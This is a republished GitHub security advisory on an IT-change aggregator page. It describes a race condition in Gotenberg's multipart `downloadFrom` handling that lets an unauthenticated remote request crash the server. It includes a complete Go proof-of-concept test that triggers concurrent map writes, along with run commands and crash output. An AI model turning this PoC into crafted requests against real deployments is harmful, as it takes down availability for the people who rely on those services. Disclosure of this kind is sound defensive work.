Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 7/9 advisories · checked 05:51 UTC Customize Public modeDiscuss ChangeIntel on Discord

Gotenberg has a Race Condition via Multipart `downloadFrom` Handling

Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-vp73-vjw8-8f32

Published

### Summary Gotenberg is vulnerable to a remote denial of service in multipart `downloadFrom` handling. A multipart request containing multiple `downloadFrom` entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with `fatal error: concurrent map writes`. In the default configuration, `downloadFrom` is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker. ### Details The issue is in `pkg/modules/api/context.go`. `newContext` parses multipart requests and processes the `downloadFrom` form field before the route handler runs. For each `downloadFrom` entry, it starts a goroutine via `errgroup.Go()`: - `pkg/modules/api/context.go:221` Each goroutine downloads a file and then writes to request context maps shared by all goroutines: - `ctx.files[filename] = path` - `ctx.diskToOriginal[path] = filename` - `ctx.filesByField[...] = append(...)` Affected lines in current `main`: - `pkg/modules/api/context.go:395` - `pkg/modules/api/context.go:396` - `pkg/modules/api/context.go:401` Go maps and slices are not safe for concurrent writes. A crafted multipart request with many `downloadFrom` entries can therefore trigger a runtime crash. The vulnerable `downloadFrom` feature was introduced in commit `f2b6bd3d`. The first tagged release containing this code appears to be `v8.10.0`. ### PoC The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access. Run from the repository root: cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc package api import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time" "github.com/labstack/echo/v4" "github.com/gotenberg/gotenberg/v8/pkg/gotenberg" ) func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64 var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close() dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } } payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) } body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) } req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType()) echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, } ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel() if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go Expected result with the race detector: WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 WARNING: DATA RACE .../pkg/modules/api/context.go:396 WARNING: DATA RACE .../pkg/modules/api/context.go:401 Running the same PoC without `-race` also demonstrates practical process termination: GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20 Observed result: fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api ### Impact This is a remote denial-of-service vulnerability. Any deployment that exposes multipart conversion endpoints with `downloadFrom` enabled is affected. In the default configuration, `downloadFrom` is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination. The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

Source published
29 May 2026 16:56:18 UTC
Source modified
25 Jun 2026 23:11:14 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 1 Nov 05:51 UTC · 272 of 272 readable · 269 fully read · documentation 469/469 current